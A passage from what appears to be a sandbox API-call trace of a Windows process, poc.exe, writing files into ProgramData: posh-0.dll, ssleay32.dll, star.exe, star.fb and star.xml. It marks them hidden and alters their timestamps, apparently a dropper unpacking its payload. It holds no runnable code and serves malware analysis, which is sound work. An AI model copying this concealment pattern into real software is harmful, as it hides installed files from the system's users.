dwSize=0x14000, dwFreeType=0x4000) returned 1 [0092.818] VirtualFree (lpAddress=0x474000, dwSize=0x10000, dwFreeType=0x4000) returned 1 [0092.819] WriteFile (in: hFile=0x148, lpBuffer=0x610004*, nNumberOfBytesToWrite=0x79800, lpNumberOfBytesWritten=0x28f3d4, lpOverlapped=0x0 | out: lpBuffer=0x610004*, lpNumberOfBytesWritten=0x28f3d4*=0x79800, lpOverlapped=0x0) returned 1 [0092.828] SetFileTime (hFile=0x148, lpCreationTime=0x28f3b0, lpLastAccessTime=0x28f3a8, lpLastWriteTime=0x28f3a0) returned 1 [0092.828] CloseHandle (hObject=0x148) returned 1 [0092.832] NtClose (Handle=0x148) returned 0xc0000008 [0092.832] RtlFreeAnsiString (AnsiString="\\") [0092.833] FindFirstFileW (in: lpFileName="c:\\programdata\\posh-0.dll", lpFindFileData=0x28f110 | out: lpFindFileData=0x28f110*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="㺣皝薰v0")) returned 0xffffffff [0092.833] GetFileAttributesW (lpFileName="c:\\programdata\\" (normalized: "c:\\programdata")) returned 0x2012 [0092.833] RtlDosPathNameToNtPathName_U (in: DosPathName="c:\\programdata\\posh-0.dll", NtPathName=0x28f3c8, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\c:\\programdata\\posh-0.dll", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0092.833] RtlDosPathNameToNtPathName_U (in: DosPathName="NUL", NtPathName=0x28f2d8, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\NUL", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0092.833] NtCreateFile (in: FileHandle=0x28f2cc, DesiredAccess=0x80100080, ObjectAttributes=0x28f2b4*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\NUL", Attributes=0x80, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x28f2d0, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x1, CreateDisposition=0x1, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x28f2cc*=0x148, IoStatusBlock=0x28f2d0*(Status=0x0, Pointer=0x0, Information=0x0)) returned 0x0 [0092.833] RtlFreeAnsiString (AnsiString="\\") [0092.833] GetCurrentThreadId () returned 0x24c [0092.833] ResetEvent (hEvent=0xd0) returned 1 [0092.833] GetCurrentThreadId () returned 0x24c [0092.833] GetCurrentThreadId () returned 0x24c [0092.833] ResetEvent (hEvent=0xd0) returned 1 [0092.833] RtlDosPathNameToNtPathName_U (in: DosPathName="c:\\ProgramData\\poc.exe", NtPathName=0x28f320, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\c:\\ProgramData\\poc.exe", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0092.833] NtCreateFile (in: FileHandle=0x28f328, DesiredAccess=0x80100080, ObjectAttributes=0x28f300*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\c:\\ProgramData\\poc.exe", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x28f318, AllocationSize=0x0, FileAttributes=0x80, ShareAccess=0x1, CreateDisposition=0x1, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x28f328*=0x14c, IoStatusBlock=0x28f318*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0092.833] RtlFreeAnsiString (AnsiString="\\") [0092.833] GetCurrentThreadId () returned 0x24c [0092.833] GetCurrentThreadId () returned 0x24c [0092.833] SetEvent (hEvent=0xd4) returned 1 [0092.833] SetEvent (hEvent=0xd0) returned 1 [0092.834] GetCurrentThreadId () returned 0x24c [0092.834] ResetEvent (hEvent=0xd0) returned 1 [0092.834] GetCurrentThreadId () returned 0x24c [0092.834] GetCurrentThreadId () returned 0x24c [0092.834] ResetEvent (hEvent=0xd0) returned 1 [0092.834] GetCurrentThreadId () returned 0x24c [0092.834] GetCurrentThreadId () returned 0x24c [0092.834] SetEvent (hEvent=0xd4) returned 1 [0092.834] SetEvent (hEvent=0xd0) returned 1 [0092.834] SysReAllocStringLen (in: pbstr=0x28f384*=0x0, psz="c:\\programdata\\", len=0xf | out: pbstr=0x28f384*="c:\\programdata\\") returned 1 [0092.834] CreateFileW (lpFileName="c:\\programdata\\posh-0.dll" (normalized: "c:\\programdata\\posh-0.dll"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x150 [0092.834] NtReadFile (in: FileHandle=0x14c, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x28f338, Buffer=0x71120c, BufferLength=0xc, ByteOffset=0x28f340*=1162615, Key=0x0 | out: IoStatusBlock=0x28f338, Buffer=0x71120c*) returned 0x0 [0092.834] VirtualAlloc (lpAddress=0x474000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x474000 [0092.835] VirtualAlloc (lpAddress=0x488000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x488000 [0092.835] VirtualFree (lpAddress=0x484000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0092.836] NtReadFile (in: FileHandle=0x14c, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x28f338, Buffer=0x488004, BufferLength=0x152c, ByteOffset=0x28f340*=1162627, Key=0x0 | out: IoStatusBlock=0x28f338, Buffer=0x488004*) returned 0x0 [0092.836] VirtualFree (lpAddress=0x488000, dwSize=0x14000, dwFreeType=0x4000) returned 1 [0092.836] VirtualFree (lpAddress=0x474000, dwSize=0x10000, dwFreeType=0x4000) returned 1 [0092.837] WriteFile (in: hFile=0x150, lpBuffer=0x610004*, nNumberOfBytesToWrite=0x2c00, lpNumberOfBytesWritten=0x28f3d4, lpOverlapped=0x0 | out: lpBuffer=0x610004*, lpNumberOfBytesWritten=0x28f3d4*=0x2c00, lpOverlapped=0x0) returned 1 [0092.838] SetFileTime (hFile=0x150, lpCreationTime=0x28f3b0, lpLastAccessTime=0x28f3a8, lpLastWriteTime=0x28f3a0) returned 1 [0092.838] CloseHandle (hObject=0x150) returned 1 [0092.838] NtClose (Handle=0x150) returned 0xc0000008 [0092.838] RtlFreeAnsiString (AnsiString="\\") [0092.839] FindFirstFileW (in: lpFileName="c:\\programdata\\ssleay32.dll", lpFindFileData=0x28f110 | out: lpFindFileData=0x28f110*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="㺣皝澠u0")) returned 0xffffffff [0092.839] GetFileAttributesW (lpFileName="c:\\programdata\\" (normalized: "c:\\programdata")) returned 0x2012 [0092.839] RtlDosPathNameToNtPathName_U (in: DosPathName="c:\\programdata\\ssleay32.dll", NtPathName=0x28f3c8, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\c:\\programdata\\ssleay32.dll", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0092.839] RtlDosPathNameToNtPathName_U (in: DosPathName="NUL", NtPathName=0x28f2d8, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\NUL", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0092.839] NtCreateFile (in: FileHandle=0x28f2cc, DesiredAccess=0x80100080, ObjectAttributes=0x28f2b4*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\NUL", Attributes=0x80, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x28f2d0, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x1, CreateDisposition=0x1, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x28f2cc*=0x150, IoStatusBlock=0x28f2d0*(Status=0x0, Pointer=0x0, Information=0x0)) returned 0x0 [0092.839] RtlFreeAnsiString (AnsiString="\\") [0092.839] GetCurrentThreadId () returned 0x24c [0092.839] ResetEvent (hEvent=0xd0) returned 1 [0092.839] GetCurrentThreadId () returned 0x24c [0092.839] GetCurrentThreadId () returned 0x24c [0092.839] ResetEvent (hEvent=0xd0) returned 1 [0092.839] RtlDosPathNameToNtPathName_U (in: DosPathName="c:\\ProgramData\\poc.exe", NtPathName=0x28f320, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\c:\\ProgramData\\poc.exe", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0092.839] NtCreateFile (in: FileHandle=0x28f328, DesiredAccess=0x80100080, ObjectAttributes=0x28f300*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\c:\\ProgramData\\poc.exe", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x28f318, AllocationSize=0x0, FileAttributes=0x80, ShareAccess=0x1, CreateDisposition=0x1, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x28f328*=0x154, IoStatusBlock=0x28f318*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0092.839] RtlFreeAnsiString (AnsiString="\\") [0092.839] GetCurrentThreadId () returned 0x24c [0092.839] GetCurrentThreadId () returned 0x24c [0092.839] SetEvent (hEvent=0xd4) returned 1 [0092.839] SetEvent (hEvent=0xd0) returned 1 [0092.839] GetCurrentThreadId () returned 0x24c [0092.839] ResetEvent (hEvent=0xd0) returned 1 [0092.839] GetCurrentThreadId () returned 0x24c [0092.840] GetCurrentThreadId () returned 0x24c [0092.840] ResetEvent (hEvent=0xd0) returned 1 [0092.840] GetCurrentThreadId () returned 0x24c [0092.840] GetCurrentThreadId () returned 0x24c [0092.840] SetEvent (hEvent=0xd4) returned 1 [0092.840] SetEvent (hEvent=0xd0) returned 1 [0092.840] SysReAllocStringLen (in: pbstr=0x28f384*=0x0, psz="c:\\programdata\\", len=0xf | out: pbstr=0x28f384*="c:\\programdata\\") returned 1 [0092.840] CreateFileW (lpFileName="c:\\programdata\\ssleay32.dll" (normalized: "c:\\programdata\\ssleay32.dll"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x158 [0092.890] NtReadFile (in: FileHandle=0x154, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x28f338, Buffer=0x71240c, BufferLength=0x18, ByteOffset=0x28f340*=1168047, Key=0x0 | out: IoStatusBlock=0x28f338, Buffer=0x71240c*) returned 0x0 [0092.890] VirtualAlloc (lpAddress=0x474000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x474000 [0092.890] VirtualAlloc (lpAddress=0x488000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x488000 [0092.891] VirtualFree (lpAddress=0x484000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0092.891] NtReadFile (in: FileHandle=0x154, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x28f338, Buffer=0x488004, BufferLength=0x11924, ByteOffset=0x28f340*=1168071, Key=0x0 | out: IoStatusBlock=0x28f338, Buffer=0x488004*) returned 0x0 [0092.893] NtReadFile (in: FileHandle=0x154, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x28f338, Buffer=0x488004, BufferLength=0x2954, ByteOffset=0x28f340*=1240043, Key=0x0 | out: IoStatusBlock=0x28f338, Buffer=0x488004*) returned 0x0 [0092.893] VirtualFree (lpAddress=0x488000, dwSize=0x14000, dwFreeType=0x4000) returned 1 [0092.894] VirtualFree (lpAddress=0x474000, dwSize=0x10000, dwFreeType=0x4000) returned 1 [0092.894] WriteFile (in: hFile=0x158, lpBuffer=0x610004*, nNumberOfBytesToWrite=0x14400, lpNumberOfBytesWritten=0x28f3d4, lpOverlapped=0x0 | out: lpBuffer=0x610004*, lpNumberOfBytesWritten=0x28f3d4*=0x14400, lpOverlapped=0x0) returned 1 [0092.896] SetFileTime (hFile=0x158, lpCreationTime=0x28f3b0, lpLastAccessTime=0x28f3a8, lpLastWriteTime=0x28f3a0) returned 1 [0092.896] CloseHandle (hObject=0x158) returned 1 [0092.898] NtClose (Handle=0x158) returned 0xc0000008 [0092.898] RtlFreeAnsiString (AnsiString="\\") [0092.898] FindFirstFileW (in: lpFileName="c:\\programdata\\star.exe", lpFindFileData=0x28f110 | out: lpFindFileData=0x28f110*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="㺣皝藸v0")) returned 0xffffffff [0092.898] GetFileAttributesW (lpFileName="c:\\programdata\\" (normalized: "c:\\programdata")) returned 0x2012 [0092.898] RtlDosPathNameToNtPathName_U (in: DosPathName="c:\\programdata\\star.exe", NtPathName=0x28f3c8, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\c:\\programdata\\star.exe", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0092.898] RtlDosPathNameToNtPathName_U (in: DosPathName="NUL", NtPathName=0x28f2d8, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\NUL", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0092.898] NtCreateFile (in: FileHandle=0x28f2cc, DesiredAccess=0x80100080, ObjectAttributes=0x28f2b4*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\NUL", Attributes=0x80, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x28f2d0, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x1, CreateDisposition=0x1, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x28f2cc*=0x158, IoStatusBlock=0x28f2d0*(Status=0x0, Pointer=0x0, Information=0x0)) returned 0x0 [0092.898] RtlFreeAnsiString (AnsiString="\\") [0092.898] GetCurrentThreadId () returned 0x24c [0092.898] ResetEvent (hEvent=0xd0) returned 1 [0092.899] GetCurrentThreadId () returned 0x24c [0092.899] GetCurrentThreadId () returned 0x24c [0092.899] ResetEvent (hEvent=0xd0) returned 1 [0092.899] RtlDosPathNameToNtPathName_U (in: DosPathName="c:\\ProgramData\\poc.exe", NtPathName=0x28f320, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\c:\\ProgramData\\poc.exe", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0092.899] NtCreateFile (in: FileHandle=0x28f328, DesiredAccess=0x80100080, ObjectAttributes=0x28f300*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\c:\\ProgramData\\poc.exe", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x28f318, AllocationSize=0x0, FileAttributes=0x80, ShareAccess=0x1, CreateDisposition=0x1, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x28f328*=0x15c, IoStatusBlock=0x28f318*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0092.899] RtlFreeAnsiString (AnsiString="\\") [0092.899] GetCurrentThreadId () returned 0x24c [0092.899] GetCurrentThreadId () returned 0x24c [0092.899] SetEvent (hEvent=0xd4) returned 1 [0092.899] SetEvent (hEvent=0xd0) returned 1 [0092.899] GetCurrentThreadId () returned 0x24c [0092.899] ResetEvent (hEvent=0xd0) returned 1 [0092.899] GetCurrentThreadId () returned 0x24c [0092.899] GetCurrentThreadId () returned 0x24c [0092.899] ResetEvent (hEvent=0xd0) returned 1 [0092.899] GetCurrentThreadId () returned 0x24c [0092.899] GetCurrentThreadId () returned 0x24c [0092.899] SetEvent (hEvent=0xd4) returned 1 [0092.899] SetEvent (hEvent=0xd0) returned 1 [0092.899] SysReAllocStringLen (in: pbstr=0x28f384*=0x0, psz="c:\\programdata\\", len=0xf | out: pbstr=0x28f384*="c:\\programdata\\") returned 1 [0092.899] CreateFileW (lpFileName="c:\\programdata\\star.exe" (normalized: "c:\\programdata\\star.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x160 [0092.900] NtReadFile (in: FileHandle=0x15c, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x28f338, Buffer=0x471180, BufferLength=0xc, ByteOffset=0x28f340*=1250623, Key=0x0 | out: IoStatusBlock=0x28f338, Buffer=0x471180*) returned 0x0 [0092.900] VirtualAlloc (lpAddress=0x474000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x474000 [0092.900] VirtualAlloc (lpAddress=0x488000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x488000 [0092.901] VirtualFree (lpAddress=0x484000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0092.901] NtReadFile (in: FileHandle=0x15c, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x28f338, Buffer=0x488004, BufferLength=0x6313, ByteOffset=0x28f340*=1250635, Key=0x0 | out: IoStatusBlock=0x28f338, Buffer=0x488004*) returned 0x0 [0092.902] VirtualFree (lpAddress=0x488000, dwSize=0x14000, dwFreeType=0x4000) returned 1 [0092.902] VirtualFree (lpAddress=0x474000, dwSize=0x10000, dwFreeType=0x4000) returned 1 [0092.902] WriteFile (in: hFile=0x160, lpBuffer=0x610004*, nNumberOfBytesToWrite=0x6400, lpNumberOfBytesWritten=0x28f3d4, lpOverlapped=0x0 | out: lpBuffer=0x610004*, lpNumberOfBytesWritten=0x28f3d4*=0x6400, lpOverlapped=0x0) returned 1 [0092.904] SetFileTime (hFile=0x160, lpCreationTime=0x28f3b0, lpLastAccessTime=0x28f3a8, lpLastWriteTime=0x28f3a0) returned 1 [0092.904] CloseHandle (hObject=0x160) returned 1 [0092.905] NtClose (Handle=0x160) returned 0xc0000008 [0092.905] RtlFreeAnsiString (AnsiString="\\") [0092.905] FindFirstFileW (in: lpFileName="c:\\programdata\\star.fb", lpFindFileData=0x28f110 | out: lpFindFileData=0x28f110*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="㺣皝薰v0")) returned 0xffffffff [0092.905] GetFileAttributesW (lpFileName="c:\\programdata\\" (normalized: "c:\\programdata")) returned 0x2012 [0092.905] RtlDosPathNameToNtPathName_U (in: DosPathName="c:\\programdata\\star.fb", NtPathName=0x28f3c8, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\c:\\programdata\\star.fb", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0092.905] RtlDosPathNameToNtPathName_U (in: DosPathName="NUL", NtPathName=0x28f2d8, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\NUL", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0092.905] NtCreateFile (in: FileHandle=0x28f2cc, DesiredAccess=0x80100080, ObjectAttributes=0x28f2b4*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\NUL", Attributes=0x80, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x28f2d0, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x1, CreateDisposition=0x1, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x28f2cc*=0x160, IoStatusBlock=0x28f2d0*(Status=0x0, Pointer=0x0, Information=0x0)) returned 0x0 [0092.905] RtlFreeAnsiString (AnsiString="\\") [0092.905] GetCurrentThreadId () returned 0x24c [0092.905] ResetEvent (hEvent=0xd0) returned 1 [0092.905] GetCurrentThreadId () returned 0x24c [0092.905] GetCurrentThreadId () returned 0x24c [0092.905] ResetEvent (hEvent=0xd0) returned 1 [0092.905] RtlDosPathNameToNtPathName_U (in: DosPathName="c:\\ProgramData\\poc.exe", NtPathName=0x28f320, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\c:\\ProgramData\\poc.exe", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0092.905] NtCreateFile (in: FileHandle=0x28f328, DesiredAccess=0x80100080, ObjectAttributes=0x28f300*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\c:\\ProgramData\\poc.exe", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x28f318, AllocationSize=0x0, FileAttributes=0x80, ShareAccess=0x1, CreateDisposition=0x1, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x28f328*=0x164, IoStatusBlock=0x28f318*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0092.906] RtlFreeAnsiString (AnsiString="\\") [0092.906] GetCurrentThreadId () returned 0x24c [0092.906] GetCurrentThreadId () returned 0x24c [0092.906] SetEvent (hEvent=0xd4) returned 1 [0092.906] SetEvent (hEvent=0xd0) returned 1 [0092.906] GetCurrentThreadId () returned 0x24c [0092.906] ResetEvent (hEvent=0xd0) returned 1 [0092.906] GetCurrentThreadId () returned 0x24c [0092.906] GetCurrentThreadId () returned 0x24c [0092.906] ResetEvent (hEvent=0xd0) returned 1 [0092.906] GetCurrentThreadId () returned 0x24c [0092.906] GetCurrentThreadId () returned 0x24c [0092.906] SetEvent (hEvent=0xd4) returned 1 [0092.906] SetEvent (hEvent=0xd0) returned 1 [0092.906] SysReAllocStringLen (in: pbstr=0x28f384*=0x0, psz="c:\\programdata\\", len=0xf | out: pbstr=0x28f384*="c:\\programdata\\") returned 1 [0092.906] CreateFileW (lpFileName="c:\\programdata\\star.fb" (normalized: "c:\\programdata\\star.fb"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x168 [0092.907] NtReadFile (in: FileHandle=0x164, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x28f338, Buffer=0x4711b0, BufferLength=0xc, ByteOffset=0x28f340*=1275998, Key=0x0 | out: IoStatusBlock=0x28f338, Buffer=0x4711b0*) returned 0x0 [0092.907] VirtualAlloc (lpAddress=0x474000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x474000 [0092.907] VirtualAlloc (lpAddress=0x488000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x488000 [0092.907] VirtualFree (lpAddress=0x484000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0092.908] NtReadFile (in: FileHandle=0x164, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x28f338, Buffer=0x488004, BufferLength=0xb4, ByteOffset=0x28f340*=1276010, Key=0x0 | out: IoStatusBlock=0x28f338, Buffer=0x488004*) returned 0x0 [0092.908] VirtualFree (lpAddress=0x488000, dwSize=0x14000, dwFreeType=0x4000) returned 1 [0092.908] VirtualFree (lpAddress=0x474000, dwSize=0x10000, dwFreeType=0x4000) returned 1 [0092.908] WriteFile (in: hFile=0x168, lpBuffer=0x610004*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x28f3d4, lpOverlapped=0x0 | out: lpBuffer=0x610004*, lpNumberOfBytesWritten=0x28f3d4*=0xf2, lpOverlapped=0x0) returned 1 [0092.909] SetFileTime (hFile=0x168, lpCreationTime=0x28f3b0, lpLastAccessTime=0x28f3a8, lpLastWriteTime=0x28f3a0) returned 1 [0092.909] CloseHandle (hObject=0x168) returned 1 [0092.910] NtClose (Handle=0x168) returned 0xc0000008 [0092.910] RtlFreeAnsiString (AnsiString="\\") [0092.910] FindFirstFileW (in: lpFileName="c:\\programdata\\star.xml", lpFindFileData=0x28f110 | out: lpFindFileData=0x28f110*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="㺣皝澠u0")) returned 0xffffffff [0092.910] GetFileAttributesW (lpFileName="c:\\programdata\\" (normalized: "c:\\programdata")) returned 0x2012 [0092.910] RtlDosPathNameToNtPathName_U (in: DosPathName="c:\\programdata\\star.xml", NtPathName=0x28f3c8, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\c:\\programdata\\star.xml", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0092.910] RtlDosPathNameToNtPathName_U (in: DosPathName="NUL", NtPathName=0x28f2d8, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\NUL", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0092.910] NtCreateFile (in: FileHandle=0x28f2cc, DesiredAccess=0x80100080, ObjectAttributes=0x28f2b4*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\NUL", Attributes=0x80, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x28f2d0, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x1, CreateDisposition=0x1, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x28f2cc*=0x168, IoStatusBlock=0x28f2d0*(Status=0x0, Pointer=0x0, Information=0x0)) returned 0x0 [0092.911] RtlFreeAnsiString (AnsiString="\\") [0092.911] GetCurrentThreadId () returned 0x24c [0092.911] ResetEvent (hEvent=0xd0) returned 1 [0092.911] GetCurrentThreadId () returned 0x24c [0092.911] GetCurrentThreadId () returned 0x24c [0092.911] ResetEvent (hEvent=0xd0) returned 1 [0092.911] RtlDosPathNameToNtPathName_U (in: DosPathName="c:\\ProgramData\\poc.exe", NtPathName=0x28f320, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\c:\\ProgramData\\poc.exe", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0092.911] NtCreateFile (in: FileHandle=0x28f328, DesiredAccess=0x80100080, ObjectAttributes=0x28f300*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\c:\\ProgramData\\poc.exe", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x28f318, AllocationSize=0x0, FileAttributes=0x80, ShareAccess=0x1, CreateDisposition=0x1, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x28f328*=0x16c, IoStatusBlock=0x28f318*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0092.911] RtlFreeAnsiString (AnsiString="\\") [0092.911] GetCurrentThreadId () returned 0x24c [0092.911] GetCurrentThreadId () returned 0x24c [0092.911] SetEvent (hEvent=0xd4) returned 1 [0092.911] SetEvent (hEvent=0xd0) returned 1 [0092.911] GetCurrentThreadId () returned 0x24c [0092.911] ResetEvent (hEvent=0xd0) returned 1 [0092.911] GetCurrentThreadId () returned 0x24c [0092.911] GetCurrentThreadId () returned 0x24c [0092.911] ResetEvent (hEvent=0xd0) returned 1 [0092.911] GetCurrentThreadId () returned 0x24c [0092.911] GetCurrentThreadId () returned 0x24c [0092.911] SetEvent (hEvent=0xd4) returned 1 [0092.911] SetEvent (hEvent=0xd0) returned 1 [0092.911] SysReAllocStringLen (in: pbstr=0x28f384*=0x0, psz="c:\\programdata\\", len=0xf | out: pbstr=0x28f384*="c:\\programdata\\") returned 1 [0092.911] CreateFileW (lpFileName="c:\\programdata\\star.xml" (normalized: "c:\\programdata\\star.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x170 [0092.912] NtReadFile (in: FileHandle=0x16c, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x28f338, Buffer=0x713e98, BufferLength=0xc, ByteOffset=0x28f340*=1276190, Key=0x0 | out: IoStatusBlock=0x28f338, Buffer=0x713e98*) returned 0x0 [0092.912] VirtualAlloc (lpAddress=0x474000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x474000 [0092.912] VirtualAlloc 